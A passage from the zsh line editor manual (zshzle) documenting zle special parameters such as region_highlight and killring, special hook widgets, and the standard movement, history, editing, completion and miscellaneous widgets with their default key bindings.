ISEARCHMATCH_END (integer) ISEARCHMATCH_ACTIVE indicates whether a part of the BUFFER is currently matched by an incremental search pattern. ISEARCHMATCH_START and ISEARCHMATCH_END give the location of the matched part and are in the same units as CURSOR. They are only valid for reading when ISEARCHMATCH_ACTIVE is non-zero.

All parameters are read-only.

KEYMAP (scalar)
The name of the currently selected keymap; read-only.

KEYS (scalar)
The keys typed to invoke this widget, as a literal string; read-only.

KEYS_QUEUED_COUNT (integer)
The number of bytes pushed back to the input queue and therefore available for reading immediately before any I/O is done; read-only. See also PENDING; the two values are distinct.

killring (array)
The array of previously killed items, with the most recently killed first. This gives the items that would be retrieved by a yank-pop in the same order. Note, however, that the most recently killed item is in $CUTBUFFER; $killring shows the array of previous entries.

The default size for the kill ring is eight, however the length may be changed by normal array operations. Any empty string in the kill ring is ignored by the yank-pop command, hence the size of the array effectively sets the maximum length of the kill ring, while the number of non-zero strings gives the current length, both as seen by the user at the command line.

LASTABORTEDSEARCH (scalar)
The last search string used by an interactive search that was aborted by the user (status 3 returned by the search widget).

LASTSEARCH (scalar)
The last search string used by an interactive search; read-only. This is set even if the search failed (status 0, 1 or 2 returned by the search widget), but not if it was aborted by the user.

LASTWIDGET (scalar)
The name of the last widget that was executed; read-only.

LBUFFER (scalar)
The part of the buffer that lies to the left of the cursor position. If it is assigned to, only that part of the buffer is replaced, and the cursor remains between the new $LBUFFER and the old $RBUFFER.

MARK (integer)
Like CURSOR, but for the mark. With vi-mode operators that wait for a movement command to select a region of text, setting MARK allows the selection to extend in both directions from the initial cursor position.

NUMERIC (integer)
The numeric argument. If no numeric argument was given, this parameter is unset. When this is set inside a widget function, builtin widgets called with the zle builtin command will use the value assigned. If it is unset inside a widget function, builtin widgets called behave as if no numeric argument was given.

PENDING (integer)
The number of bytes pending for input, i.e. the number of bytes which have already been typed and can immediately be read. On systems where the shell is not able to get this information, this parameter will always have a value of zero. Read-only. See also KEYS_QUEUED_COUNT; the two values are distinct.

PREBUFFER (scalar)
In a multi-line input at the secondary prompt, this read-only parameter contains the contents of the lines before the one the cursor is currently in.

PREDISPLAY (scalar)
Text to be displayed before the start of the editable text buffer. This does not have to be a complete line; to display a complete line, a newline must be appended explicitly. The text is reset on each new invocation (but not recursive invocation) of zle.

POSTDISPLAY (scalar)
Text to be displayed after the end of the editable text buffer. This does not have to be a complete line; to display a complete line, a newline must be prepended explicitly. The text is reset on each new invocation (but not recursive invocation) of zle.

RBUFFER (scalar)
The part of the buffer that lies to the right of the cursor position. If it is assigned to, only that part of the buffer is replaced, and the cursor remains between the old $LBUFFER and the new $RBUFFER.

REGION_ACTIVE (integer)
Indicates if the region is currently active. It can be assigned 0 or 1 to deactivate and activate the region respectively. A value of 2 activates the region in line-wise mode with the highlighted text extending for whole lines only; see Character Highlighting below.

region_highlight (array)
Each element of this array may be set to a string that describes highlighting for an arbitrary region of the command line that will take effect the next time the command line is redisplayed. Highlighting of the non-editable parts of the command line in PREDISPLAY and POSTDISPLAY are possible, but note that the P flag is needed for character indexing to include PREDISPLAY.

Each string consists of the following whitespace-separated parts:

· Optionally, a `P’ to signify that the start and end offset that follow include any string set by the PREDISPLAY special parameter; this is needed if the predisplay string itself is to be highlighted. Whitespace between the `P’ and the start offset is optional.

·
A start offset in the same units as CURSOR.

·
An end offset in the same units as CURSOR.

·
A highlight specification in the same format as used for contexts in the parameter zle_highlight, see the section `Character Highlighting’ below; for example, standout or fg=red,bold.

·
Optionally, a string of the form `memo=token’. The token consists of everything between the `=’ and the next whitespace, comma, NUL, or the end of the string. The token is preserved verbatim but not parsed in any way.

Plugins may use this to identify array elements they have added: for example, a plugin might set token to its (the plugin’s) name and then use `region_highlight=( ${region_highlight:#*memo=token} )’ in order to remove array elements it have added.

(This example uses the `${name:#pattern}’ array-grepping syntax described in the section `Parameter Expansion’ in zshexpn(1).)

For example,

region_highlight=(“P0 20 bold memo=foobar”)

specifies that the first twenty characters of the text including any predisplay string should be highlighted in bold.

Note that the effect of region_highlight is not saved and disappears as soon as the line is accepted.

Note that zsh 5.8 and older do not support the `**memo=**token’ field and may misparse the third (highlight specification) field when a memo is given.

The final highlighting on the command line depends on both region_highlight and zle_highlight; see the section CHARACTER HIGHLIGHTING below for details.

registers (associative array)
The contents of each of the vi register buffers. These are typically set using vi-set-buffer followed by a delete, change or yank command.

SUFFIX_ACTIVE (integer)

SUFFIX_START (integer)

SUFFIX_END (integer) SUFFIX_ACTIVE indicates whether an auto-removable completion suffix is currently active. SUFFIX_START and SUFFIX_END give the location of the suffix and are in the same units as CURSOR. They are only valid for reading when SUFFIX_ACTIVE is non-zero.

All parameters are read-only.

UNDO_CHANGE_NO (integer)
A number representing the state of the undo history. The only use of this is passing as an argument to the undo widget in order to undo back to the recorded point. Read-only.

UNDO_LIMIT_NO (integer)
A number corresponding to an existing change in the undo history; compare UNDO_CHANGE_NO. If this is set to a value greater than zero, the undo command will not allow the line to be undone beyond the given change number. It is still possible to use `zle undo change’ in a widget to undo beyond that point; in that case, it will not be possible to undo at all until UNDO_LIMIT_NO is reduced. Set to 0 to disable the limit.

A typical use of this variable in a widget function is as follows (note the additional function scope is required):

() { local UNDO_LIMIT_NO=$UNDO_CHANGE_NO # Perform some form of recursive edit. }

WIDGET (scalar)
The name of the widget currently being executed; read-only.

WIDGETFUNC (scalar)
The name of the shell function that implements a widget defined with either zle -N or zle -C. In the former case, this is the second argument to the zle -N command that defined the widget, or the first argument if there was no second argument. In the latter case this is the third argument to the zle -C command that defined the widget. Read-only.

WIDGETSTYLE (scalar)
Describes the implementation behind the completion widget currently being executed; the second argument that followed zle -C when the widget was defined. This is the name of a builtin completion widget. For widgets defined with zle -N this is set to the empty string. Read-only.

YANK_ACTIVE (integer)

YANK_START (integer)

YANK_END (integer) YANK_ACTIVE indicates whether text has just been yanked (pasted) into the buffer. YANK_START and YANK_END give the location of the pasted text and are in the same units as CURSOR. They are only valid for reading when YANK_ACTIVE is non-zero. They can also be assigned by widgets that insert text in a yank-like fashion, for example wrappers of bracketed-paste. See also zle -f.

YANK_ACTIVE is read-only.

ZLE_RECURSIVE (integer)
Usually zero, but incremented inside any instance of recursive-edit. Hence indicates the current recursion level.

ZLE_RECURSIVE is read-only.

ZLE_STATE (scalar)
Contains a set of space-separated words that describe the current zle state.

Currently, the states shown are the insert mode as set by the overwrite-mode or vi-replace widgets and whether history commands will visit imported entries as controlled by the set-local-history widget. The string contains `insert’ if characters to be inserted on the command line move existing characters to the right or `overwrite’ if characters to be inserted overwrite existing characters. It contains `localhistory’ if only local history commands will be visited or `globalhistory’ if imported history commands will also be visited.

The substrings are sorted in alphabetical order so that if you want to test for two specific substrings in a future-proof way, you can do match by doing:

if [[ $ZLE_STATE == globalhistoryinsert* ]]; then …; fi

Special Widgets

There are a few user-defined widgets which are special to the shell. If they do not exist, no special action is taken. The environment provided is identical to that for any other editing widget.

zle-isearch-exit Executed at the end of incremental search at the point where the isearch prompt is removed from the display. See zle-isearch-update for an example.

zle-isearch-update
Executed within incremental search when the display is about to be redrawn. Additional output below the incremental search prompt can be generated by using `zle -M’ within the widget. For example,

zle-isearch-update() { zle -M “Line $HISTNO”; } zle -N zle-isearch-update

Note the line output by `zle -M’ is not deleted on exit from incremental search. This can be done from a zle-isearch-exit widget:

zle-isearch-exit() { zle -M “”; } zle -N zle-isearch-exit

zle-line-pre-redraw
Executed whenever the input line is about to be redrawn, providing an opportunity to update the region_highlight array.

zle-line-init
Executed every time the line editor is started to read a new line of input. The following example puts the line editor into vi command mode when it starts up.

zle-line-init() { zle -K vicmd; } zle -N zle-line-init

(The command inside the function sets the keymap directly; it is equivalent to zle vi-cmd-mode.)

zle-line-finish
This is similar to zle-line-init but is executed every time the line editor has finished reading a line of input.

zle-history-line-set
Executed when the history line changes.

zle-keymap-select
Executed every time the keymap changes, i.e. the special parameter KEYMAP is set to a different value, while the line editor is active. Initialising the keymap when the line editor starts does not cause the widget to be called.

The value $KEYMAP within the function reflects the new keymap. The old keymap is passed as the sole argument.

This can be used for detecting switches between the vi command (vicmd) and insert (usually main) keymaps.

STANDARD WIDGETS

The following is a list of all the standard widgets, and their default bindings in emacs mode, vi command mode and vi insert mode (the `emacs’, `vicmd’ and `viins’ keymaps, respectively).

Note that cursor keys are bound to movement keys in all three keymaps; the shell assumes that the cursor keys send the key sequences reported by the terminal-handling library (termcap or terminfo). The key sequences shown in the list are those based on the VT100, common on many modern terminals, but in fact these are not necessarily bound. In the case of the viins keymap, the initial escape character of the sequences serves also to return to the vicmd keymap: whether this happens is determined by the KEYTIMEOUT parameter, see zshparam(1).

Movement

vi-backward-blank-word (unbound) (B) (unbound) Move backward one word, where a word is defined as a series of non-blank characters.

vi-backward-blank-word-end (unbound) (gE) (unbound)
Move to the end of the previous word, where a word is defined as a series of non-blank characters.

backward-char (^B ESC-[D) (unbound) (unbound)
Move backward one character.

vi-backward-char (unbound) (^H h ^?) (ESC-[D)
Move backward one character, without changing lines.

backward-word (ESC-B ESC-b) (unbound) (unbound)
Move to the beginning of the previous word.

emacs-backward-word
Move to the beginning of the previous word.

vi-backward-word (unbound) (b) (unbound)
Move to the beginning of the previous word, vi-style.

vi-backward-word-end (unbound) (ge) (unbound)
Move to the end of the previous word, vi-style.

beginning-of-line (^A) (unbound) (unbound)
Move to the beginning of the line. If already at the beginning of the line, move to the beginning of the previous line, if any.

vi-beginning-of-line
Move to the beginning of the line, without changing lines.

down-line (unbound) (unbound) (unbound)
Move down a line in the buffer.

end-of-line (^E) (unbound) (unbound)
Move to the end of the line. If already at the end of the line, move to the end of the next line, if any.

vi-end-of-line (unbound) ($) (unbound)
Move to the end of the line. If an argument is given to this command, the cursor will be moved to the end of the line (argument - 1) lines down.

vi-forward-blank-word (unbound) (W) (unbound)
Move forward one word, where a word is defined as a series of non-blank characters.

vi-forward-blank-word-end (unbound) (E) (unbound)
Move to the end of the current word, or, if at the end of the current word, to the end of the next word, where a word is defined as a series of non-blank characters.

forward-char (^F ESC-[C) (unbound) (unbound)
Move forward one character.

vi-forward-char (unbound) (space l) (ESC-[C)
Move forward one character.

vi-find-next-char (^X^F) (f) (unbound)
Read a character from the keyboard, and move to the next occurrence of it in the line.

vi-find-next-char-skip (unbound) (t) (unbound)
Read a character from the keyboard, and move to the position just before the next occurrence of it in the line.

vi-find-prev-char (unbound) (F) (unbound)
Read a character from the keyboard, and move to the previous occurrence of it in the line.

vi-find-prev-char-skip (unbound) (T) (unbound)
Read a character from the keyboard, and move to the position just after the previous occurrence of it in the line.

vi-first-non-blank (unbound) (^) (unbound)
Move to the first non-blank character in the line.

vi-forward-word (unbound) (w) (unbound)
Move forward one word, vi-style.

forward-word (ESC-F ESC-f) (unbound) (unbound)
Move to the beginning of the next word. The editor’s idea of a word is specified with the WORDCHARS parameter.

emacs-forward-word
Move to the end of the next word.

vi-forward-word-end (unbound) (e) (unbound)
Move to the end of the next word.

vi-goto-column (ESC-|) (|) (unbound)
Move to the column specified by the numeric argument.

vi-goto-mark (unbound) (`) (unbound)
Move to the specified mark.

vi-goto-mark-line (unbound) () (unbound)
Move to beginning of the line containing the specified mark.

vi-repeat-find (unbound) (;) (unbound)
Repeat the last vi-find command.

vi-rev-repeat-find (unbound) (,) (unbound)
Repeat the last vi-find command in the opposite direction.

up-line (unbound) (unbound) (unbound)
Move up a line in the buffer.

History Control

beginning-of-buffer-or-history (ESC-<) (gg) (unbound) Move to the beginning of the buffer, or if already there, move to the first event in the history list.

beginning-of-line-hist
Move to the beginning of the line. If already at the beginning of the buffer, move to the previous history line.

beginning-of-history
Move to the first event in the history list.

down-line-or-history (^N ESC-[B) (j) (ESC-[B)
Move down a line in the buffer, or if already at the bottom line, move to the next event in the history list.

vi-down-line-or-history (unbound) (+) (unbound)
Move down a line in the buffer, or if already at the bottom line, move to the next event in the history list. Then move to the first non-blank character on the line.

down-line-or-search
Move down a line in the buffer, or if already at the bottom line, search forward in the history for a line beginning with the first word in the buffer.

If called from a function by the zle command with arguments, the first argument is taken as the string for which to search, rather than the first word in the buffer.

down-history (unbound) (^N) (unbound)
Move to the next event in the history list.

history-beginning-search-backward
Search backward in the history for a line beginning with the current line up to the cursor. This leaves the cursor in its original position.

end-of-buffer-or-history (ESC->) (unbound) (unbound)
Move to the end of the buffer, or if already there, move to the last event in the history list.

end-of-line-hist
Move to the end of the line. If already at the end of the buffer, move to the next history line.

end-of-history
Move to the last event in the history list.

vi-fetch-history (unbound) (G) (unbound)
Fetch the history line specified by the numeric argument. This defaults to the current history line (i.e. the one that isn’t history yet).

history-incremental-search-backward (^R ^Xr) (unbound) (unbound)
Search backward incrementally for a specified string. The search is case-insensitive if the search string does not have uppercase letters and no numeric argument was given. The string may begin with `^’ to anchor the search to the beginning of the line. When called from a user-defined function returns the following statuses: 0, if the search succeeded; 1, if the search failed; 2, if the search term was a bad pattern; 3, if the search was aborted by the send-break command.

A restricted set of editing functions is available in the mini-buffer. Keys are looked up in the special isearch keymap, and if not found there in the main keymap (note that by default the isearch keymap is empty). An interrupt signal, as defined by the stty setting, will stop the search and go back to the original line. An undefined key will have the same effect. Note that the following always perform the same task within incremental searches and cannot be replaced by user defined widgets, nor can the set of functions be extended. The supported functions are:

accept-and-hold

accept-and-infer-next-history

accept-line

accept-line-and-down-history Perform the usual function after exiting incremental search. The command line displayed is executed.

backward-delete-char

vi-backward-delete-char Back up one place in the search history. If the search has been repeated this does not immediately erase a character in the minibuffer.

accept-search
Exit incremental search, retaining the command line but performing no further action. Note that this function is not bound by default and has no effect outside incremental search.

backward-delete-word

backward-kill-word

vi-backward-kill-word Back up one character in the minibuffer; if multiple searches have been performed since the character was inserted the search history is rewound to the point just before the character was entered. Hence this has the effect of repeating backward-delete-char.

clear-screen
Clear the screen, remaining in incremental search mode.

history-incremental-search-backward
Find the next occurrence of the contents of the mini-buffer. If the mini-buffer is empty, the most recent previously used search string is reinstated.

history-incremental-search-forward
Invert the sense of the search.

magic-space
Inserts a non-magical space.

quoted-insert

vi-quoted-insert Quote the character to insert into the minibuffer.

redisplay
Redisplay the command line, remaining in incremental search mode.

vi-cmd-mode
Select the `vicmd’ keymap; the `main’ keymap (insert mode) will be selected initially.

In addition, the modifications that were made while in vi insert mode are merged to form a single undo event.

vi-repeat-search

vi-rev-repeat-search Repeat the search. The direction of the search is indicated in the mini-buffer.

Any character that is not bound to one of the above functions, or self-insert or self-insert-unmeta, will cause the mode to be exited. The character is then looked up and executed in the keymap in effect at that point.

When called from a widget function by the zle command, the incremental search commands can take a string argument. This will be treated as a string of keys, as for arguments to the bindkey command, and used as initial input for the command. Any characters in the string which are unused by the incremental search will be silently ignored. For example,

zle history-incremental-search-backward forceps

will search backwards for forceps, leaving the minibuffer containing the string `forceps'.

history-incremental-search-forward (^S ^Xs) (unbound) (unbound)
Search forward incrementally for a specified string. The search is case-insensitive if the search string does not have uppercase letters and no numeric argument was given. The string may begin with `^’ to anchor the search to the beginning of the line. The functions available in the mini-buffer are the same as for history-incremental-search-backward.

history-incremental-pattern-search-backward

history-incremental-pattern-search-forward These widgets behave similarly to the corresponding widgets with no -pattern, but the search string typed by the user is treated as a pattern, respecting the current settings of the various options affecting pattern matching. See FILENAME GENERATION in zshexpn(1) for a description of patterns. If no numeric argument was given lowercase letters in the search string may match uppercase letters in the history. The string may begin with `^’ to anchor the search to the beginning of the line.

The prompt changes to indicate an invalid pattern; this may simply indicate the pattern is not yet complete.

Note that only non-overlapping matches are reported, so an expression with wildcards may return fewer matches on a line than are visible by inspection.

history-search-backward (ESC-P ESC-p) (unbound) (unbound)
Search backward in the history for a line beginning with the first word in the buffer.

If called from a function by the zle command with arguments, the first argument is taken as the string for which to search, rather than the first word in the buffer.

vi-history-search-backward (unbound) (/) (unbound)
Search backward in the history for a specified string. The string may begin with `^’ to anchor the search to the beginning of the line.

A restricted set of editing functions is available in the mini-buffer. An interrupt signal, as defined by the stty setting, will stop the search. The functions available in the mini-buffer are: accept-line, backward-delete-char, vi-backward-delete-char, backward-kill-word, vi-backward-kill-word, clear-screen, redisplay, quoted-insert and vi-quoted-insert.

vi-cmd-mode is treated the same as accept-line, and magic-space is treated as a space. Any other character that is not bound to self-insert or self-insert-unmeta will beep and be ignored. If the function is called from vi command mode, the bindings of the current insert mode will be used.

If called from a function by the zle command with arguments, the first argument is taken as the string for which to search, rather than the first word in the buffer.

history-search-forward (ESC-N ESC-n) (unbound) (unbound)
Search forward in the history for a line beginning with the first word in the buffer.

If called from a function by the zle command with arguments, the first argument is taken as the string for which to search, rather than the first word in the buffer.

vi-history-search-forward (unbound) (?) (unbound)
Search forward in the history for a specified string. The string may begin with `^’ to anchor the search to the beginning of the line. The functions available in the mini-buffer are the same as for vi-history-search-backward. Argument handling is also the same as for that command.

infer-next-history (^X^N) (unbound) (unbound)
Search in the history list for a line matching the current one and fetch the event following it.

insert-last-word (ESC-_ ESC-.) (unbound) (unbound)
Insert the last word from the previous history event at the cursor position. If a positive numeric argument is given, insert that word from the end of the previous history event. If the argument is zero or negative insert that word from the left (zero inserts the previous command word). Repeating this command replaces the word just inserted with the last word from the history event prior to the one just used; numeric arguments can be used in the same way to pick a word from that event.

When called from a shell function invoked from a user-defined widget, the command can take one to three arguments. The first argument specifies a history offset which applies to successive calls to this widget: if it is -1, the default behaviour is used, while if it is 1, successive calls will move forwards through the history. The value 0 can be used to indicate that the history line examined by the previous execution of the command will be reexamined. Note that negative numbers should be preceded by a `’ argument to avoid confusing them with options.

If two arguments are given, the second specifies the word on the command line in normal array index notation (as a more natural alternative to the numeric argument). Hence 1 is the first word, and -1 (the default) is the last word.

If a third argument is given, its value is ignored, but it is used to signify that the history offset is relative to the current history line, rather than the one remembered after the previous invocations of insert-last-word.

For example, the default behaviour of the command corresponds to

zle insert-last-word – -1 -1

while the command

zle insert-last-word – -1 1 -

always copies the first word of the line in the history immediately before the line being edited. This has the side effect that later invocations of the widget will be relative to that line.

vi-repeat-search (unbound) (n) (unbound)
Repeat the last vi history search.

vi-rev-repeat-search (unbound) (N) (unbound)
Repeat the last vi history search, but in reverse.

up-line-or-history (^P ESC-[A) (k) (ESC-[A)
Move up a line in the buffer, or if already at the top line, move to the previous event in the history list.

vi-up-line-or-history (unbound) (-) (unbound)
Move up a line in the buffer, or if already at the top line, move to the previous event in the history list. Then move to the first non-blank character on the line.

up-line-or-search
Move up a line in the buffer, or if already at the top line, search backward in the history for a line beginning with the first word in the buffer.

If called from a function by the zle command with arguments, the first argument is taken as the string for which to search, rather than the first word in the buffer.

up-history (unbound) (^P) (unbound)
Move to the previous event in the history list.

history-beginning-search-forward
Search forward in the history for a line beginning with the current line up to the cursor. This leaves the cursor in its original position.

set-local-history
By default, history movement commands visit the imported lines as well as the local lines. This widget lets you toggle this on and off, or set it with the numeric argument. Zero for both local and imported lines and nonzero for only local lines.

Modifying Text

vi-add-eol (unbound) (A) (unbound) Move to the end of the line and enter insert mode.

vi-add-next (unbound) (a) (unbound)
Enter insert mode after the current cursor position, without changing lines.

backward-delete-char (^H ^?) (unbound) (unbound)
Delete the character behind the cursor.

vi-backward-delete-char (unbound) (X) (^H)
Delete the character behind the cursor, without changing lines. If in insert mode, this won’t delete past the point where insert mode was last entered.

backward-delete-word
Delete the word behind the cursor.

backward-kill-line
Kill from the beginning of the line to the cursor position.

backward-kill-word (^W ESC-^H ESC-^?) (unbound) (unbound)
Kill the word behind the cursor.

vi-backward-kill-word (unbound) (unbound) (^W)
Kill the word behind the cursor, without going past the point where insert mode was last entered.

capitalize-word (ESC-C ESC-c) (unbound) (unbound)
Capitalize the current word and move past it.

vi-change (unbound) (c) (unbound)
Read a movement command from the keyboard, and kill from the cursor position to the endpoint of the movement. Then enter insert mode. If the command is vi-change, change the current line.

For compatibility with vi, if the command is vi-forward-word or vi-forward-blank-word, the whitespace after the word is not included. If you prefer the more consistent behaviour with the whitespace included use the following key binding:

bindkey -a -s cw dwi

vi-change-eol (unbound) (C) (unbound)
Kill to the end of the line and enter insert mode.

vi-change-whole-line (unbound) (S) (unbound)
Kill the current line and enter insert mode.

copy-region-as-kill (ESC-W ESC-w) (unbound) (unbound)
Copy the area from the cursor to the mark to the kill buffer.

If called from a ZLE widget function in the form `zle copy-region-as-kill string’ then string will be taken as the text to copy to the kill buffer. The cursor, the mark and the text on the command line are not used in this case.

copy-prev-word (ESC-^_) (unbound) (unbound)
Duplicate the word to the left of the cursor.

copy-prev-shell-word
Like copy-prev-word, but the word is found by using shell parsing, whereas copy-prev-word looks for blanks. This makes a difference when the word is quoted and contains spaces.

vi-delete (unbound) (d) (unbound)
Read a movement command from the keyboard, and kill from the cursor position to the endpoint of the movement. If the command is vi-delete, kill the current line.

delete-char
Delete the character under the cursor.

vi-delete-char (unbound) (x) (unbound)
Delete the character under the cursor, without going past the end of the line.

delete-word
Delete the current word.

down-case-word (ESC-L ESC-l) (unbound) (unbound)
Convert the current word to all lowercase and move past it.

vi-down-case (unbound) (gu) (unbound)
Read a movement command from the keyboard, and convert all characters from the cursor position to the endpoint of the movement to lowercase. If the movement command is vi-down-case, swap the case of all characters on the current line.

kill-word (ESC-D ESC-d) (unbound) (unbound)
Kill the current word.

gosmacs-transpose-chars
Exchange the two characters behind the cursor.

vi-indent (unbound) (>) (unbound)
Indent a number of lines.

vi-insert (unbound) (i) (unbound)
Enter insert mode.

vi-insert-bol (unbound) (I) (unbound)
Move to the first non-blank character on the line and enter insert mode.

vi-join (^X^J) (J) (unbound)
Join the current line with the next one.

kill-line (^K) (unbound) (unbound)
Kill from the cursor to the end of the line. If already on the end of the line, kill the newline character.

vi-kill-line (unbound) (unbound) (^U)
Kill from the cursor back to wherever insert mode was last entered.

vi-kill-eol (unbound) (D) (unbound)
Kill from the cursor to the end of the line.

kill-region
Kill from the cursor to the mark.

kill-buffer (^X^K) (unbound) (unbound)
Kill the entire buffer.

kill-whole-line (^U) (unbound) (unbound)
Kill the current line.

vi-match-bracket (^X^B) (%) (unbound)
Move to the bracket character (one of {}, () or []) that matches the one under the cursor. If the cursor is not on a bracket character, move forward without going past the end of the line to find one, and then go to the matching bracket.

vi-open-line-above (unbound) (O) (unbound)
Open a line above the cursor and enter insert mode.

vi-open-line-below (unbound) (o) (unbound)
Open a line below the cursor and enter insert mode.

vi-oper-swap-case (unbound) (g~) (unbound)
Read a movement command from the keyboard, and swap the case of all characters from the cursor position to the endpoint of the movement. If the movement command is vi-oper-swap-case, swap the case of all characters on the current line.

overwrite-mode (^X^O) (unbound) (unbound)
Toggle between overwrite mode and insert mode.

vi-put-before (unbound) (P) (unbound)
Insert the contents of the kill buffer before the cursor. If the kill buffer contains a sequence of lines (as opposed to characters), paste it above the current line.

vi-put-after (unbound) (p) (unbound)
Insert the contents of the kill buffer after the cursor. If the kill buffer contains a sequence of lines (as opposed to characters), paste it below the current line.

put-replace-selection (unbound) (unbound) (unbound)
Replace the contents of the current region or selection with the contents of the kill buffer. If the kill buffer contains a sequence of lines (as opposed to characters), the current line will be split by the pasted lines.

quoted-insert (^V) (unbound) (unbound)
Insert the next character typed into the buffer literally. An interrupt character will not be inserted.

vi-quoted-insert (unbound) (unbound) (^Q ^V)
Display a `^’ at the cursor position, and insert the next character typed into the buffer literally. An interrupt character will not be inserted.

quote-line (ESC-’) (unbound) (unbound)
Quote the current line; that is, put a `’ character at the beginning and the end, and convert all `’ characters to `’''.

quote-region (ESC-") (unbound) (unbound)
Quote the region from the cursor to the mark.

vi-replace (unbound) (R) (unbound)
Enter overwrite mode.

vi-repeat-change (unbound) (.) (unbound)
Repeat the last vi mode text modification. If a count was used with the modification, it is remembered. If a count is given to this command, it overrides the remembered count, and is remembered for future uses of this command. The cut buffer specification is similarly remembered.

vi-replace-chars (unbound) (r) (unbound)
Replace the character under the cursor with a character read from the keyboard.

self-insert (printable characters) (unbound) (printable characters and some control characters)
Insert a character into the buffer at the cursor position.

self-insert-unmeta (ESC-^I ESC-^J ESC-^M) (unbound) (unbound)
Insert a character into the buffer after stripping the meta bit and converting ^M to ^J.

vi-substitute (unbound) (s) (unbound)
Substitute the next character(s).

vi-swap-case (unbound) (~) (unbound)
Swap the case of the character under the cursor and move past it.

transpose-chars (^T) (unbound) (unbound)
Exchange the two characters to the left of the cursor if at end of line, else exchange the character under the cursor with the character to the left.

transpose-words (ESC-T ESC-t) (unbound) (unbound)
Exchange the current word with the one before it.

With a positive numeric argument N, the word around the cursor, or following it if the cursor is between words, is transposed with the preceding N words. The cursor is put at the end of the resulting group of words.

With a negative numeric argument -N, the effect is the same as using a positive argument N except that the original cursor position is retained, regardless of how the words are rearranged.

vi-unindent (unbound) (<) (unbound)
Unindent a number of lines.

vi-up-case (unbound) (gU) (unbound)
Read a movement command from the keyboard, and convert all characters from the cursor position to the endpoint of the movement to lowercase. If the movement command is vi-up-case, swap the case of all characters on the current line.

up-case-word (ESC-U ESC-u) (unbound) (unbound)
Convert the current word to all caps and move past it.

yank (^Y) (unbound) (unbound)
Insert the contents of the kill buffer at the cursor position.

yank-pop (ESC-y) (unbound) (unbound)
Remove the text just yanked, rotate the kill-ring (the history of previously killed text) and yank the new top. Only works following yank, vi-put-before, vi-put-after or yank-pop.

vi-yank (unbound) (y) (unbound)
Read a movement command from the keyboard, and copy the region from the cursor position to the endpoint of the movement into the kill buffer. If the command is vi-yank, copy the current line.

vi-yank-whole-line (unbound) (Y) (unbound)
Copy the current line into the kill buffer.

vi-yank-eol
Copy the region from the cursor position to the end of the line into the kill buffer. Arguably, this is what Y should do in vi, but it isn’t what it actually does.

Arguments

digit-argument (ESC-0..ESC-9) (1-9) (unbound) Start a new numeric argument, or add to the current one. See also vi-digit-or-beginning-of-line. This only works if bound to a key sequence ending in a decimal digit.

Inside a widget function, a call to this function treats the last key of the key sequence which called the widget as the digit.

neg-argument (ESC–) (unbound) (unbound)
Changes the sign of the following argument.

universal-argument
Multiply the argument of the next command by 4. Alternatively, if this command is followed by an integer (positive or negative), use that as the argument for the next command. Thus digits cannot be repeated using this command. For example, if this command occurs twice, followed immediately by forward-char, move forward sixteen spaces; if instead it is followed by -2, then forward-char, move backward two spaces.

Inside a widget function, if passed an argument, i.e. `zle universal-argument num’, the numeric argument will be set to num; this is equivalent to `**NUMERIC=**num'.

argument-base
Use the existing numeric argument as a numeric base, which must be in the range 2 to 36 inclusive. Subsequent use of digit-argument and universal-argument will input a new numeric argument in the given base. The usual hexadecimal convention is used: the letter a or A corresponds to 10, and so on. Arguments in bases requiring digits from 10 upwards are more conveniently input with universal-argument, since ESC-a etc. are not usually bound to digit-argument.

The function can be used with a command argument inside a user-defined widget. The following code sets the base to 16 and lets the user input a hexadecimal argument until a key out of the digit range is typed:

zle argument-base 16 zle universal-argument

Completion

accept-and-menu-complete In a menu completion, insert the current completion into the buffer, and advance to the next possible completion.

complete-word
Attempt completion on the current word.

delete-char-or-list (^D) (unbound) (unbound)
Delete the character under the cursor. If the cursor is at the end of the line, list possible completions for the current word.

expand-cmd-path
Expand the current command to its full pathname.

expand-or-complete (TAB) (unbound) (TAB)
Attempt shell expansion on the current word. If that fails, attempt completion.

expand-or-complete-prefix
Attempt shell expansion on the current word up to cursor.

expand-history (ESC-space ESC-!) (unbound) (unbound)
Perform history expansion on the edit buffer.

expand-word (^X*) (unbound) (unbound)
Attempt shell expansion on the current word.

list-choices (ESC-^D) (^D =) (^D)
List possible completions for the current word.

list-expand (^Xg ^XG) (^G) (^G)
List the expansion of the current word.

magic-space
Perform history expansion and insert a space into the buffer. This is intended to be bound to space.

menu-complete
Like complete-word, except that menu completion is used. See the MENU_COMPLETE option.

menu-expand-or-complete
Like expand-or-complete, except that menu completion is used.

reverse-menu-complete
Perform menu completion, like menu-complete, except that if a menu completion is already in progress, move to the previous completion rather than the next.

end-of-list
When a previous completion displayed a list below the prompt, this widget can be used to move the prompt below the list.

Miscellaneous

accept-and-hold (ESC-A ESC-a) (unbound) (unbound) Push the contents of the buffer on the buffer stack and execute it.

accept-and-infer-next-history
Execute the contents of the buffer. Then search the history list for a line matching the current one and push the event following onto the buffer stack.

accept-line (^J ^M) (^J ^M) (^J ^M)
Finish editing the buffer. Normally this causes the buffer to be executed as a shell command.

accept-line-and-down-history (^O) (unbound) (unbound)
Execute the current line, and push the next history event on the buffer stack.

auto-suffix-remove
If the previous action added a suffix (space, slash, etc.) to the word on the command line, remove it. Otherwise do nothing. Removing the suffix ends any active menu completion or menu selection.

This widget is intended to be called from user-defined widgets to enforce a desired suffix-removal behavior.

auto-suffix-retain
If the previous action added a suffix (space, slash, etc.) to the word on the command line, force it to be preserved. Otherwise do nothing. Retaining the suffix ends any active menu completion or menu selection.

This widget is intended to be called from user-defined widgets to enforce a desired suffix-preservation behavior.

beep
Beep, unless the BEEP option is unset.

bracketed-paste (^[[200~) (^[[200~) (^[[200~)
This widget is invoked when text is pasted to the terminal emulator. It is not intended to be bound to actual keys but instead to the special sequence generated by the terminal emulator when text is pasted.

When invoked interactively, the pasted text is inserted to the buffer and placed in the cutbuffer. If a numeric argument is given, shell quoting will be applied to the pasted text before it is inserted.

When a named buffer is specified with vi-set-buffer (“x), the pasted text is stored in that named buffer but not inserted.

When called from a widget function as `bracketed-paste name`, the pasted text is assigned to the variable name and no other processing is done.

See also the zle_bracketed_paste parameter.

vi-cmd-mode (^X^V) (unbound) (^[)
Enter command mode; that is, select the `vicmd’ keymap. Yes, this is bound by default in emacs mode.

vi-caps-lock-panic
Hang until any lowercase key is pressed. This is for vi users without the mental capacity to keep track of their caps lock key (like the author).

clear-screen (^L ESC-^L) (^L) (^L)
Clear the screen and redraw the prompt.

deactivate-region
Make the current region inactive. This disables vim-style visual selection mode if it is active.

describe-key-briefly
Reads a key sequence, then prints the function bound to that sequence.

exchange-point-and-mark (^X^X) (unbound) (unbound)
